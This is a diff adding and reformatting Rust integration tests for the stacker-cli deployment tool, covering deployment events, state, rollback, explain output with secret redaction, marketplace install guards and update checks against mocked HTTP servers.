+++ b/tests/cli_deployment_events.rs
@@ -0,0 +1,131 @@
+use assert_cmd::Command;
+use chrono::{Duration, Utc};
+use mockito::Server;
+use predicates::prelude::*;
+use serde_json::json;
+use stacker::cli::credentials::StoredCredentials;
+use std::fs;
+use tempfile::TempDir;
+
+fn stacker_cmd() -> Command {
+    Command::cargo_bin("stacker-cli").expect("stacker-cli binary not found")
+}
+
+fn write_stacker_config(dir: &TempDir, deployment_hash: &str) {
+    let config = format!(
+        r#"
+name: local-name
+project:
+  identity: remote-project
+app:
+  type: static
+  path: "."
+deploy:
+  target: cloud
+  deployment_hash: {deployment_hash}
+"#
+    );
+    fs::write(dir.path().join("stacker.yml"), config).expect("write stacker.yml");
+    fs::write(dir.path().join("index.html"), "<h1>Hello</h1>").expect("write index.html");
+}
+
+fn write_credentials(config_home: &TempDir, server_url: &str) {
+    let creds = StoredCredentials {
+        access_token: "tok".to_string(),
+        refresh_token: Some("rtok".to_string()),
+        token_type: "Bearer".to_string(),
+        expires_at: Utc::now() + Duration::hours(1),
+        email: Some("user@example.com".to_string()),
+        server_url: Some(server_url.to_string()),
+        org: None,
+        domain: None,
+    };
+
+    let cred_dir = config_home.path().join("stacker");
+    fs::create_dir_all(&cred_dir).expect("create credentials dir");
+    fs::write(
+        cred_dir.join("credentials.json"),
+        serde_json::to_vec(&creds).expect("serialize credentials"),
+    )
+    .expect("write credentials");
+}
+
+#[test]
+fn deployment_events_help_shows_json_flag() {
+    stacker_cmd()
+        .args(["deployment", "events", "--help"])
+        .assert()
+        .success()
+        .stdout(predicate::str::contains("--json").and(predicate::str::contains("--deployment")));
+}
+
+#[test]
+fn deployment_events_json_fetches_structured_feed() {
+    let dir = TempDir::new().unwrap();
+    let config_home = TempDir::new().unwrap();
+    write_stacker_config(&dir, "deployment_events_online");
+
+    let mut server = Server::new();
+    write_credentials(&config_home, &server.url());
+
+    let events_mock = server
+        .mock("GET", "/api/v1/deployments/deployment_events_online/events")
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_status": "OK",
+                "msg": "Deployment events fetched",
+                "item": {
+                    "schemaVersion": "v1alpha1",
+                    "deploymentHash": "deployment_events_online",
+                    "events": [
+                        {
+                            "sequence": 1,
+                            "kind": "command_queued",
+                            "classification": "info",
+                            "occurredAt": "2026-05-17T08:00:00Z",
+                            "summary": "deploy_app queued",
+                            "commandId": "cmd-1",
+                            "commandType": "deploy_app",
+                            "status": "queued"
+                        },
+                        {
+                            "sequence": 2,
+                            "kind": "command_failed",
+                            "classification": "failure",
+                            "occurredAt": "2026-05-17T08:03:00Z",
+                            "summary": "Compose path could not be resolved",
+                            "commandId": "cmd-1",
+                            "commandType": "deploy_app",
+                            "status": "failed",
+                            "retryable": false,
+                            "remediationClass": "configuration"
+                        }
+                    ]
+                }
+            })
+            .to_string(),
+        )
+        .create();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .env("XDG_CONFIG_HOME", config_home.path())
+        .args(["deployment", "events", "--json"])
+        .assert()
+        .success()
+        .stdout(
+            predicate::str::contains("\"schemaVersion\": \"v1alpha1\"")
+                .and(predicate::str::contains(
+                    "\"deploymentHash\": \"deployment_events_online\"",
+                ))
+                .and(predicate::str::contains("\"kind\": \"command_failed\""))
+                .and(predicate::str::contains(
+                    "\"remediationClass\": \"configuration\"",
+                )),
+        );
+
+    events_mock.assert();
+}
diff --git a/tests/cli_deployment_rollback.rs b/tests/cli_deployment_rollback.rs
new file mode 100644
index 00000000..b201a1b3
--- /dev/null
+++ b/tests/cli_deployment_rollback.rs
@@ -0,0 +1,237 @@
+use assert_cmd::Command;
+use chrono::{Duration, Utc};
+use mockito::{Matcher, Server};
+use predicates::prelude::*;
+use serde_json::json;
+use stacker::cli::credentials::StoredCredentials;
+use std::fs;
+use tempfile::TempDir;
+
+fn stacker_cmd() -> Command {
+    Command::cargo_bin("stacker-cli").expect("stacker-cli binary not found")
+}
+
+fn write_stacker_config(dir: &TempDir, deployment_hash: &str) {
+    let config = format!(
+        r#"
+name: local-name
+project:
+  identity: remote-project
+app:
+  type: static
+  path: "."
+deploy:
+  target: cloud
+  deployment_hash: {deployment_hash}
+"#
+    );
+    fs::write(dir.path().join("stacker.yml"), config).expect("write stacker.yml");
+    fs::write(dir.path().join("index.html"), "<h1>Hello</h1>").expect("write index.html");
+}
+
+fn write_credentials(config_home: &TempDir, server_url: &str) {
+    let creds = StoredCredentials {
+        access_token: "tok".to_string(),
+        refresh_token: Some("rtok".to_string()),
+        token_type: "Bearer".to_string(),
+        expires_at: Utc::now() + Duration::hours(1),
+        email: Some("user@example.com".to_string()),
+        server_url: Some(server_url.to_string()),
+        org: None,
+        domain: None,
+    };
+
+    let cred_dir = config_home.path().join("stacker");
+    fs::create_dir_all(&cred_dir).expect("create credentials dir");
+    fs::write(
+        cred_dir.join("credentials.json"),
+        serde_json::to_vec(&creds).expect("serialize credentials"),
+    )
+    .expect("write credentials");
+}
+
+#[test]
+fn deployment_rollback_plan_outputs_preview_json() {
+    let dir = TempDir::new().unwrap();
+    let config_home = TempDir::new().unwrap();
+    write_stacker_config(&dir, "deployment_state_online");
+
+    let mut server = Server::new();
+    write_credentials(&config_home, &server.url());
+
+    let mock = server
+        .mock("GET", "/api/v1/deployments/deployment_state_online/plan")
+        .match_query(Matcher::AllOf(vec![
+            Matcher::UrlEncoded("operation".into(), "rollback_deploy".into()),
+            Matcher::UrlEncoded("target".into(), "cloud".into()),
+            Matcher::UrlEncoded("rollbackTarget".into(), "previous".into()),
+        ]))
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_status": "OK",
+                "msg": "Deployment plan fetched",
+                "item": serde_json::from_str::<serde_json::Value>(include_str!("contracts/stacker-deploy-plan.v1alpha1.rollback-previous.json")).unwrap()
+            })
+            .to_string(),
+        )
+        .create();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .env("XDG_CONFIG_HOME", config_home.path())
+        .args(["deployment", "rollback", "--to", "previous", "--plan"])
+        .assert()
+        .success()
+        .stdout(
+            predicate::str::contains("\"operation\": \"rollback_deploy\"")
+                .and(predicate::str::contains("\"resolvedVersion\": \"1.1.0\"")),
+        );
+
+    mock.assert();
+}
+
+#[test]
+fn deployment_rollback_apply_validates_plan_and_posts_version() {
+    let dir = TempDir::new().unwrap();
+    let config_home = TempDir::new().unwrap();
+    write_stacker_config(&dir, "deployment_state_online");
+
+    let mut server = Server::new();
+    write_credentials(&config_home, &server.url());
+
+    let plan = server
+        .mock("GET", "/api/v1/deployments/deployment_state_online/plan")
+        .match_query(Matcher::AllOf(vec![
+            Matcher::UrlEncoded("operation".into(), "rollback_deploy".into()),
+            Matcher::UrlEncoded("target".into(), "cloud".into()),
+            Matcher::UrlEncoded("rollbackTarget".into(), "previous".into()),
+            Matcher::UrlEncoded("expectedFingerprint".into(), "plan-rollback-previous".into()),
+        ]))
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_status": "OK",
+                "msg": "Deployment plan fetched",
+                "item": serde_json::from_str::<serde_json::Value>(include_str!("contracts/stacker-deploy-plan.v1alpha1.rollback-previous.json")).unwrap()
+            })
+            .to_string(),
+        )
+        .create();
+
+    let list_projects = server
+        .mock("GET", "/project")
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "message": "OK",
+                "list": [
+                    {
+                        "id": 42,
+                        "name": "remote-project",
+                        "user_id": "user-1",
+                        "metadata": {},
+                        "created_at": "2026-04-13T00:00:00Z",
+                        "updated_at": "2026-04-13T00:00:00Z"
+                    }
+                ]
+            })
+            .to_string(),
+        )
+        .create();
+
+    let rollback = server
+        .mock("POST", "/project/42/rollback")
+        .match_header("authorization", "Bearer tok")
+        .match_header(
+            "content-type",
+            Matcher::Regex("application/json.*".to_string()),
+        )
+        .match_body(Matcher::Json(json!({ "version": "1.1.0" })))
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "id": 42,
+                "_status": "ok",
+                "msg": "Success",
+                "meta": { "deployment_id": 99 }
+            })
+            .to_string(),
+        )
+        .create();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .env("XDG_CONFIG_HOME", config_home.path())
+        .args([
+            "deployment",
+            "rollback",
+            "--to",
+            "previous",
+            "--apply-plan",
+            "plan-rollback-previous",
+            "--confirm",
+        ])
+        .assert()
+        .success()
+        .stderr(predicate::str::contains("version '1.1.0'"));
+
+    plan.assert();
+    list_projects.assert();
+    rollback.assert();
+}
+
+#[test]
+fn deployment_rollback_plan_surfaces_typed_unsupported_error() {
+    let dir = TempDir::new().unwrap();
+    let config_home = TempDir::new().unwrap();
+    write_stacker_config(&dir, "deployment_state_online");
+
+    let mut server = Server::new();
+    write_credentials(&config_home, &server.url());
+
+    let mock = server
+        .mock("GET", "/api/v1/deployments/deployment_state_online/plan")
+        .match_query(Matcher::AllOf(vec![
+            Matcher::UrlEncoded("operation".into(), "rollback_deploy".into()),
+            Matcher::UrlEncoded("target".into(), "cloud".into()),
+            Matcher::UrlEncoded("rollbackTarget".into(), "previous".into()),
+        ]))
+        .match_header("authorization", "Bearer tok")
+        .with_status(400)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "schemaVersion": "v1alpha1",
+                "code": "rollback_target_unavailable",
+                "message": "Rollback is only available for marketplace deployments with an older template version",
+                "retryable": false,
+                "remediationClass": "state",
+                "context": {
+                    "rollbackTarget": "previous"
+                }
+            })
+            .to_string(),
+        )
+        .create();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .env("XDG_CONFIG_HOME", config_home.path())
+        .args(["deployment", "rollback", "--to", "previous", "--plan"])
+        .assert()
+        .failure()
+        .stderr(
+            predicate::str::contains("rollback_target_unavailable")
+                .and(predicate::str::contains("rollbackTarget")),
+        );
+
+    mock.assert();
+}
diff --git a/tests/cli_deployment_state.rs b/tests/cli_deployment_state.rs
new file mode 100644
index 00000000..fb5351c7
--- /dev/null
+++ b/tests/cli_deployment_state.rs
@@ -0,0 +1,141 @@
+use assert_cmd::Command;
+use chrono::{Duration, Utc};
+use mockito::Server;
+use predicates::prelude::*;
+use serde_json::json;
+use stacker::cli::credentials::StoredCredentials;
+use std::fs;
+use tempfile::TempDir;
+
+fn stacker_cmd() -> Command {
+    Command::cargo_bin("stacker-cli").expect("stacker-cli binary not found")
+}
+
+fn write_stacker_config(dir: &TempDir, deployment_hash: &str) {
+    let config = format!(
+        r#"
+name: local-name
+project:
+  identity: remote-project
+app:
+  type: static
+  path: "."
+deploy:
+  target: cloud
+  deployment_hash: {deployment_hash}
+"#
+    );
+    fs::write(dir.path().join("stacker.yml"), config).expect("write stacker.yml");
+    fs::write(dir.path().join("index.html"), "<h1>Hello</h1>").expect("write index.html");
+}
+
+fn write_credentials(config_home: &TempDir, server_url: &str) {
+    let creds = StoredCredentials {
+        access_token: "tok".to_string(),
+        refresh_token: Some("rtok".to_string()),
+        token_type: "Bearer".to_string(),
+        expires_at: Utc::now() + Duration::hours(1),
+        email: Some("user@example.com".to_string()),
+        server_url: Some(server_url.to_string()),
+        org: None,
+        domain: None,
+    };
+
+    let cred_dir = config_home.path().join("stacker");
+    fs::create_dir_all(&cred_dir).expect("create credentials dir");
+    fs::write(
+        cred_dir.join("credentials.json"),
+        serde_json::to_vec(&creds).expect("serialize credentials"),
+    )
+    .expect("write credentials");
+}
+
+#[test]
+fn deployment_state_help_shows_json_flag() {
+    stacker_cmd()
+        .args(["deployment", "state", "--help"])
+        .assert()
+        .success()
+        .stdout(predicate::str::contains("--json").and(predicate::str::contains("--deployment")));
+}
+
+#[test]
+fn deployment_state_json_fetches_canonical_payload() {
+    let dir = TempDir::new().unwrap();
+    let config_home = TempDir::new().unwrap();
+    write_stacker_config(&dir, "deployment_state_online");
+
+    let mut server = Server::new();
+    write_credentials(&config_home, &server.url());
+
+    let state = json!({
+        "schemaVersion": "v1alpha1",
+        "project": {
+            "id": 17,
+            "identity": "remote-project",
+            "name": "Remote Project"
+        },
+        "deployment": {
+            "id": 31,
+            "deploymentHash": "deployment_state_online",
+            "status": "healthy",
+            "runtime": "runc"
+        },
+        "agent": {
+            "id": "agent-1",
+            "status": "online",
+            "version": "0.1.9",
+            "lastHeartbeat": "2026-05-17T08:15:00Z",
+            "capabilities": ["docker", "compose", "logs"],
+            "features": {
+                "compose": true,
+                "kataRuntime": false,
+                "backup": false,
+                "pipes": false,
+                "proxyCredentialsVault": false
+            }
+        },
+        "runtime": {
+            "composePath": "/home/trydirect/project/docker-compose.yml",
+            "envPath": "/home/trydirect/project/.env"
+        },
+        "apps": [],
+        "drift": {
+            "hasDrift": false,
+            "summary": "no drift detected"
+        }
+    });
+
+    let state_mock = server
+        .mock("GET", "/api/v1/deployments/deployment_state_online/state")
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_status": "OK",
+                "msg": "Deployment state fetched",
+                "item": state
+            })
+            .to_string(),
+        )
+        .create();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .env("XDG_CONFIG_HOME", config_home.path())
+        .args(["deployment", "state", "--json"])
+        .assert()
+        .success()
+        .stdout(
+            predicate::str::contains("\"schemaVersion\": \"v1alpha1\"")
+                .and(predicate::str::contains(
+                    "\"deploymentHash\": \"deployment_state_online\"",
+                ))
+                .and(predicate::str::contains(
+                    "\"composePath\": \"/home/trydirect/project/docker-compose.yml\"",
+                )),
+        );
+
+    state_mock.assert();
+}
diff --git a/tests/cli_destroy.rs b/tests/cli_destroy.rs
index b2d82f0f..095cde35 100644
--- a/tests/cli_destroy.rs
+++ b/tests/cli_destroy.rs
@@ -33,7 +33,10 @@ fn test_destroy_no_deployment_returns_error() {
         .args(["destroy", "--confirm"])
         .assert()
         .failure()
-        .stderr(predicate::str::contains("No deployment").or(predicate::str::contains("Nothing to destroy")));
+        .stderr(
+            predicate::str::contains("No deployment")
+                .or(predicate::str::contains("Nothing to destroy")),
+        );
 }
 
 #[test]
diff --git a/tests/cli_explain.rs b/tests/cli_explain.rs
new file mode 100644
index 00000000..e923913e
--- /dev/null
+++ b/tests/cli_explain.rs
@@ -0,0 +1,103 @@
+use assert_cmd::Command;
+use predicates::prelude::*;
+use std::fs;
+use tempfile::TempDir;
+
+fn stacker_cmd() -> Command {
+    Command::cargo_bin("stacker-cli").expect("stacker-cli binary not found")
+}
+
+fn write_stacker_config(dir: &TempDir) {
+    let config = r#"
+name: local-name
+project:
+  identity: remote-project
+app:
+  type: static
+  path: "."
+deploy:
+  target: cloud
+  deployment_hash: deployment_state_online
+  environment: prod
+env_file: docker/prod/.env
+env:
+  HOST: "0.0.0.0"
+services:
+  - name: device-api
+    image: optimum/device-api
+    environment:
+      DATABASE_URL: postgres://secret-value
+      RUST_LOG: debug
+environments:
+  prod:
+    compose_file: docker/prod/compose.yml
+    env_file: docker/prod/.env
+"#;
+    fs::create_dir_all(dir.path().join("docker/prod")).expect("create docker/prod");
+    fs::write(dir.path().join("stacker.yml"), config).expect("write stacker.yml");
+    fs::write(dir.path().join("index.html"), "<h1>Hello</h1>").expect("write index.html");
+    fs::write(dir.path().join("docker/prod/.env"), "HOST=0.0.0.0\n").expect("write env");
+    fs::write(
+        dir.path().join("docker/prod/compose.yml"),
+        "services:\n  device-api:\n    image: optimum/device-api\n",
+    )
+    .expect("write compose");
+}
+
+#[test]
+fn explain_env_json_outputs_redacted_provenance() {
+    let dir = TempDir::new().unwrap();
+    write_stacker_config(&dir);
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["explain", "env", "device-api", "--json"])
+        .assert()
+        .success()
+        .stdout(
+            predicate::str::contains("\"schemaVersion\": \"v1alpha1\"")
+                .and(predicate::str::contains("\"appCode\": \"device-api\""))
+                .and(predicate::str::contains(
+                    "\"runtimeEnvPath\": \"/home/trydirect/project/.env\"",
+                ))
+                .and(predicate::str::contains("DATABASE_URL"))
+                .and(predicate::str::contains("secret-value").not()),
+        );
+}
+
+#[test]
+fn explain_topology_json_outputs_paths_and_services() {
+    let dir = TempDir::new().unwrap();
+    write_stacker_config(&dir);
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["explain", "topology", "--json"])
+        .assert()
+        .success()
+        .stdout(
+            predicate::str::contains("\"schemaVersion\": \"v1alpha1\"")
+                .and(predicate::str::contains("\"target\": \"cloud\""))
+                .and(predicate::str::contains(
+                    "\"runtimeComposePath\": \"/home/trydirect/project/docker-compose.yml\"",
+                ))
+                .and(predicate::str::contains("\"code\": \"device-api\"")),
+        );
+}
+
+#[test]
+fn explain_env_missing_service_returns_typed_error() {
+    let dir = TempDir::new().unwrap();
+    write_stacker_config(&dir);
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["explain", "env", "missing-service", "--json"])
+        .assert()
+        .failure()
+        .stderr(
+            predicate::str::contains("invalid_request")
+                .and(predicate::str::contains("remediationClass"))
+                .and(predicate::str::contains("configuration")),
+        );
+}
diff --git a/tests/cli_help.rs b/tests/cli_help.rs
index 6eed058d..02df5e0e 100644
--- a/tests/cli_help.rs
+++ b/tests/cli_help.rs
@@ -18,6 +18,7 @@ fn stacker_cli_help_matrix() {
         &["logs", "--help"],
         &["status", "--help"],
         &["destroy", "--help"],
+        &["rollback", "--help"],
         &["config", "--help"],
         &["config", "validate", "--help"],
         &["config", "show", "--help"],
@@ -104,6 +105,7 @@ fn console_help_matrix() {
         &["stacker", "logs", "--help"],
         &["stacker", "status", "--help"],
         &["stacker", "destroy", "--help"],
+        &["stacker", "rollback", "--help"],
         &["stacker", "config", "--help"],
         &["stacker", "config", "validate", "--help"],
         &["stacker", "config", "show", "--help"],
diff --git a/tests/cli_init.rs b/tests/cli_init.rs
index 6d4898f6..a97aad39 100644
--- a/tests/cli_init.rs
+++ b/tests/cli_init.rs
@@ -65,7 +65,14 @@ fn test_init_with_ai_flag() {
     // a real running Ollama which would take minutes to generate).
     stacker_cmd()
         .current_dir(dir.path())
-        .args(["init", "--with-ai", "--ai-provider", "custom", "--ai-api-key", "fake"])
+        .args([
+            "init",
+            "--with-ai",
+            "--ai-provider",
+            "custom",
+            "--ai-api-key",
+            "fake",
+        ])
         .assert()
         .success();
 
@@ -157,7 +164,14 @@ fn test_init_with_ai_and_provider_flags() {
     // then falls back to template-based generation.
     stacker_cmd()
         .current_dir(dir.path())
-        .args(["init", "--with-ai", "--ai-provider", "custom", "--ai-api-key", "fake"])
+        .args([
+            "init",
+            "--with-ai",
+            "--ai-provider",
+            "custom",
+            "--ai-api-key",
+            "fake",
+        ])
         .assert()
         .success()
         .stderr(predicate::str::contains("AI").or(predicate::str::contains("Created")));
diff --git a/tests/cli_login_mock.rs b/tests/cli_login_mock.rs
index 3a16f885..77b7cb45 100644
--- a/tests/cli_login_mock.rs
+++ b/tests/cli_login_mock.rs
@@ -21,7 +21,13 @@ fn login_uses_mocked_auth_endpoint() {
     Command::cargo_bin("stacker-cli")
         .expect("stacker-cli binary not found")
         .env("XDG_CONFIG_HOME", temp.path())
-        .args(["login", "--auth-url", &server.url()])
+        .args([
+            "login",
+            "--auth-url",
+            &server.url(),
+            "--server-url",
+            &server.url(),
+        ])
         .write_stdin("user@example.com\nsecret\n")
         .assert()
         .success()
diff --git a/tests/cli_logs.rs b/tests/cli_logs.rs
index 56b4244c..3527e941 100644
--- a/tests/cli_logs.rs
+++ b/tests/cli_logs.rs
@@ -2,7 +2,6 @@
 
 use assert_cmd::Command;
 use predicates::prelude::*;
-use std::fs;
 use tempfile::TempDir;
 
 fn stacker_cmd() -> Command {
@@ -18,7 +17,10 @@ fn test_logs_no_deployment_returns_error() {
         .arg("logs")
         .assert()
         .failure()
-        .stderr(predicate::str::contains("No deployment found").or(predicate::str::contains("docker-compose")));
+        .stderr(
+            predicate::str::contains("No deployment found")
+                .or(predicate::str::contains("docker-compose")),
+        );
 }
 
 #[test]
diff --git a/tests/cli_marketplace_install.rs b/tests/cli_marketplace_install.rs
new file mode 100644
index 00000000..042991c4
--- /dev/null
+++ b/tests/cli_marketplace_install.rs
@@ -0,0 +1,117 @@
+//! Integration tests for `stacker install <template>`.
+//!
+//! These test the guard that prevents `stacker install` from running
+//! inside an already-deployed project directory.
+
+use assert_cmd::Command;
+use predicates::prelude::*;
+use std::fs;
+use tempfile::TempDir;
+
+fn stacker_cmd() -> Command {
+    Command::cargo_bin("stacker-cli").expect("stacker-cli binary not found")
+}
+
+fn write_stacker_yml(dir: &TempDir, deploy_target: &str) {
+    let config = format!(
+        r#"
+name: test-project
+version: "1.0"
+app:
+  type: static
+  path: "."
+deploy:
+  target: {}
+"#,
+        deploy_target
+    );
+    fs::write(dir.path().join("stacker.yml"), config).unwrap();
+}
+
+fn write_cloud_lock(dir: &TempDir) {
+    let stacker_dir = dir.path().join(".stacker");
+    fs::create_dir_all(&stacker_dir).unwrap();
+    let lock = r#"
+target: cloud
+server_ip: 203.0.113.42
+server_name: test-server
+deployment_id: 1
+project_id: 1
+cloud_id: 1
+project_name: test-project
+stacker_email: test@example.com
+deployed_at: 2026-07-01T12:00:00+00:00
+"#;
+    fs::write(stacker_dir.join("deployment-cloud.lock"), lock).unwrap();
+}
+
+#[test]
+fn test_install_refuses_existing_deployed_project() {
+    let dir = TempDir::new().unwrap();
+    write_stacker_yml(&dir, "cloud");
+    write_cloud_lock(&dir);
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["install", "some-template"])
+        .assert()
+        .failure()
+        .stderr(predicate::str::contains(
+            "already contains a deployed project",
+        ))
+        .stderr(predicate::str::contains("stacker service add"))
+        .stderr(predicate::str::contains("stacker agent deploy-app"));
+}
+
+#[test]
+fn test_install_refuses_existing_local_deployed_project() {
+    let dir = TempDir::new().unwrap();
+    write_stacker_yml(&dir, "local");
+    let stacker_dir = dir.path().join(".stacker");
+    fs::create_dir_all(&stacker_dir).unwrap();
+    let lock = r#"
+target: local
+server_ip: 127.0.0.1
+deployed_at: 2026-07-01T12:00:00+00:00
+"#;
+    fs::write(stacker_dir.join("deployment-local.lock"), lock).unwrap();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["install", "some-template"])
+        .assert()
+        .failure()
+        .stderr(predicate::str::contains(
+            "already contains a deployed project",
+        ));
+}
+
+#[test]
+fn test_install_allowed_with_stacker_yml_but_no_lock() {
+    let dir = TempDir::new().unwrap();
+    write_stacker_yml(&dir, "cloud");
+
+    // Should NOT hit the "already contains a deployed project" guard.
+    // It will fail for a different reason (no credentials / needs login),
+    // but crucially not with our guard message.
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["install", "some-template"])
+        .assert()
+        .failure()
+        .stderr(predicate::str::contains("already contains a deployed project").not());
+}
+
+#[test]
+fn test_install_allowed_in_empty_directory() {
+    let dir = TempDir::new().unwrap();
+
+    // No stacker.yml, no lock — should proceed past our guard
+    // and fail for a different reason (needs login / no credentials).
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["install", "some-template"])
+        .assert()
+        .failure()
+        .stderr(predicate::str::contains("already contains a deployed project").not());
+}
diff --git a/tests/cli_proxy.rs b/tests/cli_proxy.rs
index 27cd03ee..fea73852 100644
--- a/tests/cli_proxy.rs
+++ b/tests/cli_proxy.rs
@@ -10,19 +10,31 @@ fn stacker_cmd() -> Command {
 #[test]
 fn test_proxy_add_generates_nginx_block() {
     stacker_cmd()
-        .args(["proxy", "add", "example.com", "--upstream", "http://app:3000"])
+        .args([
+            "proxy",
+            "add",
+            "example.com",
+            "--upstream",
+            "http://app:3000",
+        ])
         .assert()
         .success()
-        .stdout(predicate::str::contains("server_name").or(predicate::str::contains("example.com")));
+        .stdout(
+            predicate::str::contains("server_name").or(predicate::str::contains("example.com")),
+        );
 }
 
 #[test]
 fn test_proxy_add_with_ssl() {
     stacker_cmd()
         .args([
-            "proxy", "add", "secure.example.com",
-            "--upstream", "http://app:3000",
-            "--ssl", "auto",
+            "proxy",
+            "add",
+            "secure.example.com",
+            "--upstream",
+            "http://app:3000",
+            "--ssl",
+            "auto",
         ])
         .assert()
         .success();
diff --git a/tests/cli_rollback.rs b/tests/cli_rollback.rs
new file mode 100644
index 00000000..ed8135fa
--- /dev/null
+++ b/tests/cli_rollback.rs
@@ -0,0 +1,125 @@
+use assert_cmd::Command;
+use chrono::{Duration, Utc};
+use mockito::{Matcher, Server};
+use predicates::prelude::*;
+use serde_json::json;
+use stacker::cli::credentials::StoredCredentials;
+use std::fs;
+use tempfile::TempDir;
+
+fn stacker_cmd() -> Command {
+    Command::cargo_bin("stacker-cli").expect("stacker-cli binary not found")
+}
+
+fn write_stacker_config(dir: &TempDir) {
+    let config = r#"
+name: local-name
+project:
+  identity: remote-project
+app:
+  type: static
+  path: "."
+deploy:
+  target: cloud
+"#;
+    fs::write(dir.path().join("stacker.yml"), config).expect("write stacker.yml");
+    fs::write(dir.path().join("index.html"), "<h1>Hello</h1>").expect("write index.html");
+}
+
+fn write_credentials(config_home: &TempDir, server_url: &str) {
+    let creds = StoredCredentials {
+        access_token: "tok".to_string(),
+        refresh_token: Some("rtok".to_string()),
+        token_type: "Bearer".to_string(),
+        expires_at: Utc::now() + Duration::hours(1),
+        email: Some("user@example.com".to_string()),
+        server_url: Some(server_url.to_string()),
+        org: None,
+        domain: None,
+    };
+
+    let cred_dir = config_home.path().join("stacker");
+    fs::create_dir_all(&cred_dir).expect("create credentials dir");
+    fs::write(
+        cred_dir.join("credentials.json"),
+        serde_json::to_vec(&creds).expect("serialize credentials"),
+    )
+    .expect("write credentials");
+}
+
+#[test]
+fn rollback_requires_confirmation() {
+    let dir = TempDir::new().unwrap();
+    write_stacker_config(&dir);
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["rollback", "--version", "1.0.0"])
+        .assert()
+        .failure()
+        .stderr(predicate::str::contains("confirm").or(predicate::str::contains("Rollback")));
+}
+
+#[test]
+fn rollback_posts_version_to_project_rollback_endpoint() {
+    let dir = TempDir::new().unwrap();
+    let config_home = TempDir::new().unwrap();
+    write_stacker_config(&dir);
+
+    let mut server = Server::new();
+    write_credentials(&config_home, &format!("{}/auth/login", server.url()));
+
+    let list_projects = server
+        .mock("GET", "/project")
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "message": "OK",
+                "list": [
+                    {
+                        "id": 42,
+                        "name": "remote-project",
+                        "user_id": "user-1",
+                        "metadata": {},
+                        "created_at": "2026-04-13T00:00:00Z",
+                        "updated_at": "2026-04-13T00:00:00Z"
+                    }
+                ]
+            })
+            .to_string(),
+        )
+        .create();
+
+    let rollback = server
+        .mock("POST", "/project/42/rollback")
+        .match_header("authorization", "Bearer tok")
+        .match_header(
+            "content-type",
+            Matcher::Regex("application/json.*".to_string()),
+        )
+        .match_body(Matcher::Json(json!({ "version": "1.0.0" })))
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "id": 42,
+                "_status": "ok",
+                "msg": "Success",
+                "meta": { "deployment_id": 99 }
+            })
+            .to_string(),
+        )
+        .create();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .env("XDG_CONFIG_HOME", config_home.path())
+        .args(["rollback", "--version", "1.0.0", "--confirm"])
+        .assert()
+        .success();
+
+    list_projects.assert();
+    rollback.assert();
+}
diff --git a/tests/cli_status.rs b/tests/cli_status.rs
index 2883eec3..9c48b889 100644
--- a/tests/cli_status.rs
+++ b/tests/cli_status.rs
@@ -17,7 +17,10 @@ fn test_status_no_deployment_returns_error() {
         .arg("status")
         .assert()
         .failure()
-        .stderr(predicate::str::contains("No deployment").or(predicate::str::contains("docker-compose")));
+        .stderr(
+            predicate::str::contains("No deployment")
+                .or(predicate::str::contains("docker-compose")),
+        );
 }
 
 #[test]
diff --git a/tests/cli_update.rs b/tests/cli_update.rs
index 59c9ff4f..e763fce4 100644
--- a/tests/cli_update.rs
+++ b/tests/cli_update.rs
@@ -1,15 +1,32 @@
 //! Integration tests for `stacker update`.
 
 use assert_cmd::Command;
+use mockito::{Server, ServerGuard};
 use predicates::prelude::*;
 
 fn stacker_cmd() -> Command {
     Command::cargo_bin("stacker-cli").expect("stacker-cli binary not found")
 }
 
+fn mock_releases_server() -> ServerGuard {
+    let mut server = Server::new();
+    server
+        .mock("GET", "/releases")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body("[]")
+        .create();
+    server
+}
+
 #[test]
 fn test_update_default_channel() {
+    let server = mock_releases_server();
     stacker_cmd()
+        .env(
+            "STACKER_UPDATE_RELEASES_URL",
+            format!("{}/releases", server.url()),
+        )
         .arg("update")
         .assert()
         .success()
@@ -18,7 +35,12 @@ fn test_update_default_channel() {
 
 #[test]
 fn test_update_beta_channel() {
+    let server = mock_releases_server();
     stacker_cmd()
+        .env(
+            "STACKER_UPDATE_RELEASES_URL",
+            format!("{}/releases", server.url()),
+        )
         .args(["update", "--channel", "beta"])
         .assert()
         .success()
@@ -31,7 +53,9 @@ fn test_update_invalid_channel_fails() {
         .args(["update", "--channel", "nightly"])
         .assert()
         .failure()
-        .stderr(predicate::str::contains("Unknown channel").or(predicate::str::contains("nightly")));
+        .stderr(
+            predicate::str::contains("Unknown channel").or(predicate::str::contains("nightly")),
+        );
 }
 
 #[test]
diff --git a/tests/cli_version.rs b/tests/cli_version.rs
new file mode 100644
index 00000000..3a7c4104
--- /dev/null
+++ b/tests/cli_version.rs
@@ -0,0 +1,14 @@
+use assert_cmd::Command;
+
+fn stacker_cmd() -> Command {
